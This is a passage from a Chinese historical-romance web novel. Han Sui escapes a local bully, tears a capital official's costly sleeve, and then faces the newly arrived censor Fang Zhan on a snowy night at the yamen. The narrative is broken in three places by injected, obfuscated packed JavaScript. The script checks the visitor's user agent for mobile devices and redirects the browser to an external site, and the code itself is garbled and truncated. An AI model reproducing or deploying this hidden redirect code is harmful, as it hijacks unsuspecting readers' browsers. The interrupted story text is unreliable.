“诸位云州同仁,”他装模作样地朝人群一揖,“鄙人出身扬州揭裱匠人之家,深知揭裱修复之技向来传男不传女,可眼前这女子却说此画是她修复的,这等谎言简直荒谬可笑,我看她这画的来路也有问题!” “你……”先秀方想上前理论,却被韩穗拽住,她冷静示意:“别冲动,他在故意激怒我们。” 那边刘百盛一听卖画者居然是个女子,双目登时放亮,他早就觉得那小“郎君”清秀可嘉,此刻更是心神荡漾,坏笑着走上前,贴近到韩穗耳旁,不怀好意道:“姑娘卖画定是遇到什么难处了吧?不如你人和画都跟了我,五百两给你,一辈子的荣华富贵也给你……” “砰”!不等他话说完,当头便遭到狠狠一重击,登时眼冒金星,钻心的疼伴着一股缓缓淌下的暖流阵阵扩大,他伸手一摸,失声大叫起来:“血!我流血了!” 那几个跟班立时七手八脚地围上去,急得刘百盛破口大骂:“人跑了,人跑了!都他娘的给我追人去!” 可韩穗早已扔掉随手抄起用来夯人的香炉鼎,牢牢揣住画匣,拉起先秀瞅准空隙狂奔如飞。 她对回家的近道轻车熟路,只管闷头往曲里拐弯的胡同里头扎,试图甩掉身后那帮穷追不舍的狗腿子。然而身后喊杀喊打之声越来越近,更糟糕的是,这日恰逢通兴坊进腊月的第一个大集,一条回家必经之路挤满了摊贩和行人。 韩穗被挤在熙攘人群中难以穿行,忽灵机一动,拽着先秀拐进一条通往鹊英大街的窄道。 鹊英大街是贯通云州东西的主街,街上惯有巡逻的衙差捕快,刘百盛他再横,也不好当着官差的面强抢民女吧! 此刻先秀也反应过来,上气不接下气道:“姑娘,我实在跑不动了,莫云斋就在前头,咱们先进去躲躲吧,许老板肯定不会不管我们的!” 莫云斋乃一家老字号书画商铺,店家许老板与韩穗是熟识,为人虽称不上古道热肠,但也绝不会对她见死不救。 眼看莫云斋近在咫尺,她却突然犹豫起该不该平白无故给人家店里引去刘百盛这尊瘟神。 心里一犹豫,脚步也慢了下来,可一时又想不出旁的法子,只好焦急回头去看刘家那伙打手有没有追上来。 只这分神的功夫,没留意前方从店铺兴冲冲奔出一人,当下心中各有所急的两人便如此迎面撞去。只是对方身形颀硕,韩穗猛然被宽肩厚臂撞到,来不及吃痛,脚下一个不稳,眼看就要仰面往后摔去! 这日偏巧是个化雪日,地上泥泞被踩得污七八糟,千钧一发之际,自救本能使她下意识伸出手去,像抓救命稻草一般试图捞住离自己最近的一条胳膊。 可那胳膊的主人并不想施以援手,迅速往后一躲,未料伴随动作飘逸而起的宽袖刚好被韩穗死死攫住。 就在后者以为终于得救时,只听“刺啦”一声裂帛响,手中借力忽然消失,眼前天空越来越远,只下一刻,身体便重重摔进泥水之中。 “姑娘!”先秀赶紧将人扶起,手忙脚乱地为她擦去背上泥水,韩穗则盯着手中多出的一截布料有些许发懵。 同样发懵的还有旁边那位盯着自己豁裂衣袖的公子。 待双方回过神,一个气得简直跳脚,一个连连赔罪道歉。 韩穗因后有“追兵”,二话不多说,直接解下腰间玉佩塞进对方手里。一枚玉佩能抵寻常衣裳四五件,可眼下逃命要紧,不便与人掰扯,吃点亏就吃点亏罢。 谁料刚转身,后衣领就被人毫不客气地拎住。一道充满怒意的傲慢声从她头顶掷下:“打发叫花子呢?你这玉佩连本公子半只袖子都买不到!” 韩穗不得不艰难扭身,抬眼看去。只见那人蓝衣金冠,丰神俊貌,一双好看的桃花眼正嫌弃地打量自己。 只消这一眼,她便意识到,今日铁定是得罪不知哪家贵公子了。她自认倒霉,语气央求:“实在对不住,要是玉佩不够赔,我一会儿再回家取钱给你补上,但我现在被恶人纠缠,必须先躲一躲……” “少来,”贵公子自是不肯松手,“什么恶人纠缠,我看你就是想逃!” 话音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14828693|158856||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方落,身后一阵喊打声由远及近。“抓住她,别叫她跑了!” 眼看那帮凶神恶煞的刘家打手直冲而来,韩穗急道:“公子,我真没骗你,他们这是要强抢民女!我家就住长顺坊四方胡同甲五号,你若怕我赖账,大可直接上门索赔。” “民女?”对方一愣,手上一松。 韩穗趁势挣脱钳制,回身朝着相反方向就跑。哪知还没奔出几步,迎面又冲来一群人,定睛一看,好家伙,也是一帮十几个手持棍棒的莽壮打手! “姓刘的居然包抄我!”韩穗顿觉低估了刘百盛在云州城内的猖獗程度,青天白日之下,他不惜搞出如此大阵仗捉拿她,有那么一瞬间,她有些后悔方才砸人的冲动了。 两边人马已夹击迫近,她本不欲给父亲惹事,但事急从权,只能先搬出官府名号自救了。 先秀得了韩穗眼神示意,一个叉腰跳上前,大喝一声:“大胆,我看你们谁敢上前,我家姑娘可是云州府通判老爷韩大人的女儿,谁要是敢动官家小姐一根手指头,保准叫你们下大狱吃板子!” 四周好像是安静了那么一瞬,紧接着,后来的那伙人中走出一高瘦的庄稼汉,手提铁镐,绕过挡路碍事的主仆二人,朝对面刘家狗腿子怒喝道:“刘百盛人昵,给我滚出来,今日我赵二就要杀了他给我哥嫂偿命!” 刘家这边也走出一领事的,瞥了眼不明情况且不敢妄动的韩穗,最终目光还是落在自称“赵二”的男子身上。他啐一声,蔑笑道:“哟,官府把你给放出来了?还以为你早就被喀嚓砍头,跟你那蠢哥嫂做团圆鬼去了呢!” “没人性的东西!”赵二身后有几人已然压不住怒火,抡起镐头铁锹就冲那领事的扑去。后者自然不是吃素的,手下人有一个算一个,凶暴迎战。 转眼间,两帮人就在鹊英大街上火拼起来。 可怜韩穗与先秀未搞清状况就被裹挟在乱战中。二人抱头而蹿,但由于双方开战得太过突然,一时竟被那些互相拼命的莽汉挡住去路,脱身不得! 不远处,莫云斋二楼临街轩窗后,一位行装打扮的清朗青年将韩穗的困境尽收眼底。 他英眉紧蹙,抬手向身后一名蓄满胡须的男子示意。男子得令后,立即按住腰间长刀,作势下楼。 几乎是同时,街上传来惊慌的高呼声:“官兵来了,官兵来了!” “是卫所军!卫所军有火铳,快跑啊!” 从莫云斋二楼的视角看出去,街上突然乱作一团,无论是闹事者还是路人,皆似惊弓之鸟四处逃散。 青年再也坐不住,起身对同在焦急观望楼下情形的许老板告辞一揖,而后带人匆匆离去。 然而等他疾步奔出去时,街上已然兵荒马乱,四处都是交混在一起的百姓与卫兵。他在乱糟糟的人群中努力分辨寻找着,可那个熟悉又陌生的身影早已不见去向。 5. 雪夜(一) 天色转暗之时,空中飘起了细雪。不到酉时,韩家屋内廊下就都早早上了灯。 韩穗坐在案前,心不在焉地翻着书页,脑子里全是白日里发生的事。 今日之事虽因突然出现的赵二莫名奇妙侥幸脱身,但刘百盛此人她是铁定得罪了。 刘的为人在云州可是出了名的睚眦必报、不择手段,再加上其与宦党的关系,若真要报复于她,恐怕整个韩家都招架不住。 还有那副《望山》图。 今日旧货市场上那个叫商卓的,行事言语颇为诡异,八成早就看出她的画是真迹,但在刘百盛的授意下,故意咬定是假画,估计是想以极低的价格将画收购,回头再高价售出。 白川的真迹不可多得,先帝生前尤为钟爱,但如今在位的成乾帝不喜文墨书画,是故一度鲜有人再提起。然而最近两年,听说上京又有贵人四处求购,一时间白川画作的身价也水涨船高。 韩穗瞥了眼屋角收画的樟木箱,心底隐隐浮上一层忧虑。 虽不知刘百盛是如何与一个扬州裱褙匠勾搭上的,但他二人盯上了此画,想来不会轻易放手,定还会再使出手段直到得手为止。 “唉...”她叹了口气,无力趴在桌上,心道出门之前还是该看看黄历,这下倒好,出去一天,给自己惹了两桩要命的祸事。 不对,还有一桩! 她嗖地起身,唤来先秀:“那截袖子呢?” 先秀一愣,随即反应过来,跑去内间,从那堆换下来的男装里头扒拉出一块月白色残布。 韩穗接过布料,凑到灯下端详起来。 似乎是名贵的花罗织法,月白色如意祥云提花暗纹,在烛光下熠熠生辉。再仔细一看,那光辉竟来自密密织入布料的金丝线! “完了完了,”韩穗一屁股坐下,“他倒是没说假话,我那块玉佩确实不够赔。” “什么料子啊,很贵吗?”先秀不解地将那块布拿过来左看右看。 “若我没记错,这布料就是有名的浣溪菱纱,也叫‘一寸金’,用金丝银线交错搓入纱线织成,颇费功夫,只怕是父亲一年的俸禄才够做这一件大氅。” “啊?”先秀嘴张得抡圆,“这么贵还这么不结实?”她不死心追问:“姑娘兴许看错了呢?” “应该不会错,我认得它。” 韩穗之所以如此笃定,只因她小时候曾亲眼见过,且印象至深。 那时她还未离开上京韩家,大伯母的娘家老太太做寿,她与堂姐随大人前去赴宴。宴上,大伯母的姐姐特意向众人显摆用这种布料做的一件披风。彼时“一寸金”的名字、那披风流光溢彩的质地,以及大伯母皮笑肉不笑的表情,还有回家后她对着大伯父摔摔打打的场景,都一一留在小韩穗的记忆深处。 没想到,当年给她留下不算愉快记忆的“一寸金”,在十几年后又成了她破财一劫! “没事儿,”韩穗安慰着先秀以及她自己,“能用银钱解决的都不叫事儿,咱们在云州这一年,靠给书画商做揭裱修复也攒下不少银两,等那人寻上门来,赔给他就是。” 先秀不由捂住胸口:“就是想来觉得肉疼。” 二人正说着,管家嬷嬷宋妈打发人来问何时摆饭。 韩穗这才惊觉天色已黑,一贯喜欢早早散值归家的父亲,居然这个时辰了都还未回来。 一颗原本就不安宁的心忽七上八下,正想遣人去州府公廨打听打听怎么回事,从外头跑进一小丫头,道是老爷身边的秦风独自回来了,有事要向她回禀。 韩穗听后随手抓起一件披袄,胡乱套上,推门而去。 外头如盐细雪早已成鹅毛飞絮,扑簌簌往下落,只从后院到前院的功夫,二人发髻和肩上就挂满了大朵的雪绒。 韩穗顾不上拍打身上落雪,一进正堂便对早已候着的秦风发问:“怎么你一人回来了?父亲呢?” 秦风是个二十岁出头的白净小厮,行事一丝不苟,行揖恭谨道:“回姑娘,今日州府刚得上京来书,称圣上已钦派佥都御史等人至云州督办叶阳县一案。事出突然,衙里诸位大人都留下了,老爷也差小的回来取盥洗衣物,顺便告知姑娘一声,今夜老爷就不回家了。” “佥都御史?叶阳县的案子不是已经结了么,圣上这时候派人来还能督办什么?”韩穗讶异问道。 “这……” 眼见秦风面露为难,韩穗意识到此问多少有些僭越了,急忙改口:“那御史从上京到云州,行车少说也得五六日,叫父亲不必操劳过急,保重身体要紧。” 秦风颔首称是:“小的定会转告,不过,御史大人今日就已经到了……” “人已经来了?” “正是。” 朝廷的谕令是一早到的,令信中的人是午后来的。人来时,州府老爷们的诧异与此刻的韩穗相比,还多了一层诚惶诚恐。 诧异过后,韩穗又生出几分无奈:“秦风,若还有什么重要的事,不如一次性全说完?” 秦风蹙眉凝思,迟疑道:“倒还有一事,就是御史大人一行入城时,刚好遇上今日鹊英大街一起械斗群架,混乱之中,大人的外氅衣袖被某个不长眼的给扯坏了,进府衙的时候脸色难看至极,吓得知府老爷大冬天汗流不止!” 说完,他又小心问道:“姑娘,这算重要的事吗?” 韩穗双腿一软,“扑通”跌入身后圈椅内,已然失了回答此问的气力。 不出意外的话,那个“不长眼的”,说的正是她本人。 先秀上前一步急问:“那御史大人可是身着蓝衣,头戴金冠,外罩一件月白色丝纱氅衣?” “正是,”秦风惊喜,“先秀姑娘怎会知道?” “你会不会认错人了啊?” “应该没错,”秦风细细回忆道,“来的共四位,一个牵马的随从,一个挂刀侍卫,一个斯文儒生,只有走在最前首的蓝衣男子着装不凡、气势十足。再说,他是知府大人亲自迎进仪门的,大老爷总不会搞错吧?” 最后一丝侥幸也被无情剿灭。 —— 云州府衙。 冼牧川嫌弃地捏着鼻子在两间馆舍内巡视了一圈,瞧见坐在窗边淡然饮茶的青年就来气。 他翁里翁声地问:“喂!你确定咱们在云州的这段时日就睡这儿?” 青年轻呷一口茶,英挺的侧脸隐在灯影之下,神色不辨,只有清朗声线毫不在意道:“不住这儿怎么能第一时间看到热闹?” 冼牧川终于放过自己的鼻子,皱眉嗅道:“你有没有闻到一股老头味儿?这屋子以前是那知府老头住的地方吧?” 这时有小厮敲门入内,一脸为难地向冼牧川回禀道:“二爷,方才小的去确认了,城门已经关,但运行李的马车还未进城,您要的那三个香炉都在那辆车上呢。” “看看看看,”冼牧川双手叉腰,气得在屋内团团转,“早知如此,就不该听某些人的话,非得脱离大队伍,快马加鞭提前来,本公子就该跟那一车金银细软慢悠悠来,如此也不会一进城就遇到那倒霉丫头,好好的一件氅衣,袖子没了一半!” 这话明显是冲着屋内另一位来的,吓得小厮将脑袋深深埋下去,大气不敢出。 那一位虽看起来玉质彬彬、端儒和气,但上京城人人皆知,小方大人短短三年从出山到一跃成圣上心腹,炙手可热的朝堂新星背后藏的却是雷霆手腕和无量城府。 小厮使劲低着头,自是看不见喝茶那位的表情——非但没有恼怒,嘴角还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14828694|158856||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抑制不住地弯起一丝弧度。 冼牧川还在喋喋不休:“没有熏炉那就给我熏炭!去,让人再加三个炭火盆来,反正这屋子也冷得跟睡大街无甚区别!” 小厮下去后,窗边青年温然一笑:“云莱兄,不如过来尝尝此茶,这是云州有名的云雾岩茶,与你常喝的江南香茗风味迥异,别有一番粗放口感,更重要的是,此茶专去心火。” 冼牧川不情不愿地走过去,又颇为嫌弃地掸了掸凳子,端起那无名小窑烧出的难看杯盏,勉为其难地啜了一口。 “呸呸呸!”一口茶连带口水喷了出来,“我说方大人,我怎么就那么爱信你呢,什么粗放的口感,根本就是粗劣!跟此地的人一模一样!” 吃茶青年依旧一脸淡然:“既来之则安之,更何况,临行前我可是与你说过的,云州地近西境,民风粗犷,气候严苛,可不是你这种金贵公子游山玩水的好地方。” 言外之意就是,是你非要跟来的,最好少叽歪。 这话管用,冼牧川的表情一下子萎靡下去:“还不是因为我那什么都要强的姑姑,非说这次跟你来是历练的好机会,若是我不来,她就得逼我娶你们方家的那位老姑娘。” 冼牧川之所以如此口无遮拦地说人家姐姐的坏话,倒不是因为冼家出了位颇受宠的贵妃,就全然不把有些没落的方家放在眼里。 他不过是非常清楚,眼前这位方家唯一的嫡子方湛,自小就跟随叔父在泰州紫金山上隐居避世,跟上京的方家一干人,包括那位年至二十五都未嫁人的方大小姐,没的一点感情。 他入京后,甚至都不住在方府,更有传闻称,他与方家长辈有些不可解的隐秘隔阂。 果然,方湛在听到那位没见过几次面的姐姐被人说成老姑娘,并未表现出什么不满,但也不接话,只放下手中空盏,别有用意地笑道:“乐观一些,我看云州之行也并非全无是处,就比如今日,云莱兄在那知府大人面前冒充我时,不也还挺起劲的么。” 一说起此事,冼牧川顿时想起白日里那知府老头对着自己又拜又吹捧的样子,一顿折腾后发现自己认错了人,那表情简直犹如耍百戏般好看。 冼牧川忍不住笑出声来,手中折扇甩开又合上:“这儿的人倒是比上京城有意思,还有那个女扮男装、被一群恶霸追赶的小村姑……” “哎,对了,”他突然想起什么,从袖中掏出一枚玉佩,饶有兴趣道,“听说那小村姑是韩通判的女儿,她弄坏了我的衣裳,只赔这么个便宜货可不成,明日且等我用此事逗逗那韩老头儿。” 谁知惯常平和的方湛竟突然冷了脸,劈手夺过玉佩,牢牢握住,严肃道:“休要胡来,不得对任何朝廷命官无礼!” 察觉自己语气有些冷硬,他又缓道:“本来身为食禄官员,穿那种罕见名贵的衣裳就不妥,若此事被有心人做文章,大可参你一本,你又让冼贵妃如何自处?” 一提到姑姑,冼牧川又蔫了下去。 方湛暗暗叹气,安抚道:“衣裳之事,最好就此作罢,至于你的损失,就算作我欠你的。” “当真?”冼牧川一听当即咧笑,这个人情可比那衣裳值钱多了。 刚要开口提诉求,外头忽来人禀报知府大人有急事求见。 “黄知府?”冼牧川对方湛道,“这老头该不会是为了白天拍错马屁一事来赔罪的吧?” 话音方落,就见云州知府黄谦量仓惶入内,进门便跪行大礼,声音颤抖:“下官万死!” 嚯,冼牧川暗叹,这姿态,够夸张。 谁知那老头哆哆嗦的下一句竟是:“叶阳县一案在押要犯尤谨今日潜逃,下落不明,州府已下令全城搜捕戒严,还请御史大人即刻移步议事厅,好为下官们主持大局!” 6. 雪夜(二) 这是云州入冬以来最大的一场雪。 是夜无风,只有撕棉扯絮似的雪铺天盖地而下,直盖得整个云州城玉琢银装,触目所及皆是皑皑茫茫。 从韩宅到云州府衙不过三两条街的距离,韩穗从积雪里拔出脚,眯眼望向前方寂静无人只有素白一片的街道,莫名产生了一种此路没有尽头的错觉。 可这种雪天走马车太过危险,且不如徒步来得快。 韩家门房华叔挑着气死风灯,紧跟在韩穗身侧,劝了一路仍不放弃:“姑娘,这次就听华叔的回家去吧,老爷的衣物叫秦风一人带去就行,夜深雪大,姑娘干嘛非要跟着呢?” “不行,我有重要的事需亲自跟父亲说。”韩穗用手扑掉睫毛上的雪粒,看了眼先秀怀中一方锦盒,心脏抽痛地又别过脸去。 锦盒里装的,除了这些年攒下的所有银票、碎银以外,还有一副有“天下第一草书”之称的闻觉法师之作《雪庐帖》。 她此刻不敢想闻觉法师若是知道自己将此帖转送给旁人会有多生气,搞不好得跟她决裂师徒关系! 但别无他法了,谁叫她今日闯下如此大祸,害得御史大人当众失仪不说,偏偏还当着他的面自报家门——生怕人家寻仇报复找不着主似的。 那御史看着不像出身寻常之家,既能穿得起“一寸金”,大概也不会把这一匣子于她而言是全部身家的积蓄看在眼里。可《雪庐帖》不同,闻觉法师的字有市无价,京中贵人又多附庸风雅,将此帖献上,投其所好的把握更大些。 另外,在赔银献帖之前,她还需尽快将今日之事告予父亲。那御史一看就不是好相与的,就怕他得知她的身份后迁怒于父亲,故意刁难不说,万一再对父亲任满回京的调动施点小计,她韩穗岂非成了韩家的罪人? 显然如此后果已非她一人能兜得住了,必须赶快与父亲商量接下来的应对之策。 因而此刻别说下雪,就算下刀子她也去定了! 手脚冷得快要失去知觉时,云州府衙的角门总算出现在视野中。 从此门进去距父亲专用的值事房不远,过去韩穗不止一次来送过东西,跟看门的老仆役熟识得很。 然而今日这小门两侧竟各站了两个身形魁梧、披甲持戈的卫兵,再看围墙下,每隔几丈就有一手举火把的兵卒,像是将府衙团团围住的架势。 韩穗看得目瞪口呆:“这,这位御史大人的阵仗,可够大的。” 秦风却微微蹙眉,察觉出异常:“卫所军确实是圣上调派给御史大人随行入城的,但小的从府衙走时,并未听说要戒严啊。” 他取下腰牌,上前示意。可卫兵却只肯放他一人进去,任其如何解释这是通判老爷的家眷都无用。最后只得叫韩穗等人先候在外头,由秦风入内想办法。 大约过了一刻钟,秦风手持通判手牌折返回来。卫兵勘验过后,这才将人放行。 入内,韩穗很快留意到是夜府衙的不对劲,只见院内灯火通明,手执火杖的官兵在四处奔走搜查。她问道:“他们在找什么呢,谁丢东西了?” 秦风做了个噤声的动作,加快脚步。三人也只好不再言语,紧随其后。 只是走着走着,韩穗发觉他们好像正在朝着前堂的方向而去,忍不住提示道:“咱们这是要去哪儿,不去父亲的值事房找他么?” 秦风见四下无人,低声答道:“小的方才打听得知,今夜衙里出事了,关押在监的一个犯人忽然下落不明,知府大人下令全城搜捕,此时老爷正在二堂与诸位大人商议此事。” “下落不明?那岂不就是,逃跑了?”先秀惊呼,意识到嗓门过大后又赶紧捂住自己的嘴。 韩穗却有更关切自身命运的联想:“你说诸位大人都在二堂,那今日从上京来的御史大人也在吗?” “说的正是,戒严府衙的令就是御史大人所下,老爷方才亲自向他请示得了许可,小的这才能将姑娘等带进来。” “那我不去了,”她果断道,“我就去父亲的值事房等,待大人们散了,你让父亲来找我。” 事关官场之事,在跟父亲通气并拿出对策之前,她觉得还是别主动往那不好伺候的御史大人跟前儿凑了。 说完,她便要回身走开。 “姑娘不可,”秦风阻拦道,“御史大人特意交代过,那逃犯穷凶极恶,眼下不知所踪,各处都不安全,他说姑娘是韩大人的千金,一定要去二堂的耳房等候才妥。” “什么?御史大人亲口对你说的?” “是。” 韩穗嘴角抽搐,努力挤出一抹惨笑。想她今夜折腾了一通,也算是千里送人头了。 —— 二堂的耳房韩穗从未来过,从这里再往前都属于府衙处理公事之地,就算是官吏的家眷,若无正事也不好涉足的。 耳房除了连通二堂议事厅的槅扇门外,还另有一扇直通游廊的独立小门,韩穗他们正是从这里进来的。 此屋空间虽小,但几案圈椅一应俱全,甚至墙上还挂了一幅樵夫下山的田园图,引得华叔从一进门就开始驻足细看。 秦风已去堂内候报,先秀在来回摆弄那个火盆,试图给自家姑娘调整出一个合适的烤火距离。好不容易放过火盆,又开始摆弄被雪打湿额发的韩穗,一会儿想给她理得端庄体面些,一会儿又想弄乱些,好显得姑娘可怜兮兮娇弱动人。 只有韩穗,一脸视死如归。 若她没猜错,过会儿那位看起来像是皇亲国戚走后门当上的御史大人,就要挟持着她的老父亲,从那槅扇门后进来找她算账了。 逃不过的事情就硬着头皮上。韩穗深吸一口气,闭上眼,给自己打气。 议事间里的交谈声隐隐传来,听不清内容,但能辨出是一个年轻的声音在紧锣密鼓地布排。 渐渐地,声音小下去,似乎有人走动的声响。 没关系,韩穗安慰自己,等下对方一进来她就纳头便拜,献上锦盒,痛心悔过,再不留痕迹地拍几句马屁,想来他堂堂四品高官也不好太难为她这种微末女子吧。 “吱呀——”门开的声音。 韩穗睁眼准备直接下跪,却发现来的只有父亲一人。 “父亲?” 韩立煜却顾不上留意女儿往自己身后张望的异样表情。云州要案在巡按御史来的第一日就出了如此大的纰漏,整个州府上下手忙脚乱,韩穗属实是不该出现在此时此地 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她两眼一闭,提裙就要下跪,却听得父亲告罪道:“恕下官管教不严,小女冒失而来,却是因担忧老朽身体不济,雪天受寒,特赶来送厚衣而已。” “哟,韩大人的女儿有如此孝心,真是羡煞旁人,你说这大冷天的怎么就没人来给我送衣裳呢?” 韩立煜自是听不懂这般阴阳怪气是为何,一时有些摸不着头脑,迟疑道:“冼大人说笑了,大人正当盛年,身体康健,自然不需要额外加衣。” 能听懂的人却在一旁心焦,“债主”都主动暗示了,若她再不叩头认罪就太没眼力价了。就在她想按计划行事时,那槅扇门再次被推开。 从议事间内又进来一人。 韩穗若无其事地紧急撤回一个大叩首,内心却忍不住骂骂咧咧,耳房如此小,到底是谁又来凑热闹! “下官见过御史大人。”韩立煜避让几步,躬身作揖。 耳房空间不大,屋内几人一阵窸窣错身避让。乍听到父亲对来人的称呼,韩穗一时愕然,不等多想,却被身后先秀偷偷扯袖提醒,遂回神跟着众人垂首行礼。 “韩大人不必多礼。” 这是一道似曾相识的嗓音,清朗中正,短短几个字落入耳中,却不知为何在韩穗心尖激起一阵细微的刺痒。 只这刺痒转瞬即逝,又悄无声息地弥散至周身,使她鬼使神差地想要抬眼看那说话之人。 她漫不经心抬头看去,却在与对方四目相接的一刹间,整个人如被抽去三魂七魄般呆愣在原地。 真正的御史大人也是位不过廿岁出头的青年,却与被秦风“讹传”的那位气质迥然。 他立于人前,身姿如松如竹,浑身无多余饰物,只一袭深青色直身就衬得人如清玉、内敛端儒。 若旁人不特意介绍,他看起来更像一位国子监的学生,全然没有得受皇命来巡督整个云州的凛凛威风。 难怪秦风甚至知府老爷都会认错人。 但认错御史并不是在韩穗心底激起千层波澜的真正原因。 她定定望着来人的面容,只因那一双如清墨春山的眼眸,像极了一位故人。 一位她侥幸这辈子再不会见到的人。 7. 雪夜(三) 屋内有短暂的静默。 好在人心之外还包着一层肚皮,无人能听到韩穗当下心中的人荒马乱。 那青年不着痕迹地移开目光,神色如常道:“韩大人见谅,眼下这州府官衙也不是万全之地,若令媛送完衣物无其他要事,还是尽快离开为好。” “是是,御史大人说的是,下官这就着人送她回去。”韩立煜赶紧表态。 “夜深雪大,且今夜情况特殊,亡命之徒不得不防,安全起见,本官会叫冼少监从卫所军中抽调一队精锐专门护送韩小姐归家。” 韩立煜惶恐辞谢,冼牧川欲言又止。 方湛却不管这些:“冼少监,我看你今夜最闲,不如立刻去找沈参领安排此事,莫让韩小姐等久了。” 不等冼牧川分辩,他又对韩立煜揖道:“既有女眷在,我等不便久留,便先告辞。” 说完,他深深看了一眼从始至终似神魂出窍的韩穗,漠然转身离去。 “哎,我说方大人……”冼牧川气急败坏地追跟上前。 一进议事间,方湛就当着一众人对冼牧川吩咐道:“这是来云州交予冼少监办的第一件事,还需你亲自去找沈参领,挑选靠谱的卫兵,再找一匹适合雪夜出行、有经验的老马,务必将韩小姐安全送回韩宅。” 冼牧川一脸不情愿,虽说从上京出发前,姑姑曾千叮万嘱,叫他一定听从方湛的指挥安排,但一想到那丫头弄坏了自己衣裳还没找她算账,现在反倒还要安排卫队护送她,倏然一肚子闷气。他堂堂京城来的命官岂能为一个乡野丫头跑前忙后? 不过当着一屋子大小官员,他不好直接下了方湛的面子。正思考着如何合情合理地拒绝此事,突然角落里一个身穿官服的蓄髭中年人起身走上前,对方湛揖道:“下官斗胆,有一建议不知当讲不当讲。” 方湛觑了眼朝自己深揖下去的官员,认出来是云州府同知徐醇风。“徐大人有话直说便是。” 徐醇风微微起身:“下官认为,卫所军常年戍守边关,恐不太熟悉云州城内道途,不若安排几位州府捕快随行,可予指路。另,冼大人今日长途奔波已是舟车劳顿,不如就将此事交由下官去办,或许更加便宜。” 冼牧川疯狂点头。方湛似乎迟疑了一瞬,想了想,允道:“可,那就劳烦同知大人了。” 耳房内。那二位走后,韩立煜长舒一口气,对女儿道:“如此安排也好,卫所军到底比州府衙役靠谱些,我也放心。你先在这儿等着,一切妥当后会让秦风来知会,回家后切记差人守好前后门,这几日就先别出门了。” 韩穗讷讷点头。 韩立煜见两位为首的京官已回议事间,自己亦不好缺席过久,叮嘱完女儿便也匆匆回去了。 槅扇门方合上,先秀便迫不及待道:“姑娘可有听到?那蓝衣公子不是御史大人,是个什么‘少监’,这个秦风也太不靠谱了,平日里看着挺稳当,居然在要紧关头把御史大人给搞错了!” 她见韩穗未有反应,一副出神的样子,便伸手在其眼前晃了晃,后者这才如梦初醒。 “方才姑娘怎么不提赔罪的事?这锦盒还没给出去呢。” 后者心不在焉道:“哦,我忘了。” “忘了?” 先秀不禁默念,从家来时还十万火急,临阵却忘了,这也不是姑娘平日里的作风啊。忽然她一拍脑门:“我明白了,姑娘是不是觉得,反正咱们得罪的不是御史大人,后果就没那么严重了,并且那个少监听起来也不像什么大官,更不必紧张了,对吧?” 韩穗僵硬地扯出一个笑,看着先秀充满天真与庆幸的双眼,终究不忍告诉她一个残酷的事实—— “少监”是内廷的副手官职,确实无法与都察院的佥都御史相比,但殊不知,其前缀的“冼”姓才大有来头。 此姓在上京本就不常见,而在内廷任职的又多是世家子弟,因此那个冼少监的出身只有一种可能,那就是来自最受当今圣上看重的冼贵妃母家。 冼家乃京中最为显赫的勋贵世家之一,不仅出了位盛宠不衰的贵妃,族中几位儿郎更是战迹赫赫,戍边有功,极得天家信任倚重。 不过凡事皆有例外,在上京挂名的冼家人里还有一位冼七郎,文英候冼达幼子,人称“混世魔王”。 韩穗幼时在京长大,随大伯母各处赴宴时,没少听说那位冼七郎的挥金如土、捉弄作恶等斑斑劣迹。彼时她听了只觉无关己要,毕竟一介小官吏之女接触到那等高门子弟的可能性几乎为零。 谁能想到多年之后,在离京千里的一个小地方,她韩穗居然触了那“混世魔王”的霉头! 至于那位真正的御史大人...... 她忍不住竭力回想方才那青年的表情,试图寻找出他是否认得自己的蛛丝马迹,但失败了。 他的眼神里似乎只有气定神闲的淡然,找不到一丝波澜,就连目光停留在她身上的时间都是恰到好处的守礼和克己。 只是二人四目相接的瞬间,那双睛目深处像有一股将自己看透的力量,叫她不自觉心虚忐忑,甚至生出要落荒而逃的冲动。 太阳穴处隐隐鼓痛,这日发生的事太多了,桩桩件件,就像按下葫芦又浮起了瓢,已然到了她能承受住的极限。 韩穗长吐一口浊气,干脆屏气息神。 屋内没有刻漏,也不知过了多久,议事间断断续续传出交谈声,而华叔早已窝在角落里响起了鼾声。 先秀等得精神涣散,捂嘴打了个哈欠:“早知道安排卫队需要这么久,还不如咱们自己走回去呢。” 话音将落,秦风便从外头回来了,道是人马已备好,来请韩穗他们出发的。 韩穗起身,示意先秀将锦盒交给秦风。她长话短说:“白日里鹊英大街那场械斗,我也在场,且不小心把屋里那位冼少监的外氅衣袖给撕坏了,这锦盒里头的银票与字帖就是赔礼,你拿好了,今晚务必择机交给父亲,托他替我向大人赔罪。” 不等秦风再具体细问,一位身形魁梧、武官打扮的男子推门入内。 来人正是此次带兵入城的沈参领,见礼后便催促众人出府上路。韩穗叫秦风不必相送,随后看了眼议事间的方向,压抑着从心底翻涌上来的复杂情绪,一步步走向屋外的深夜。 外头巡逻人手与来时相比明显减少,想必是找了这么久已确认那逃犯不在府衙中了。 韩穗等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 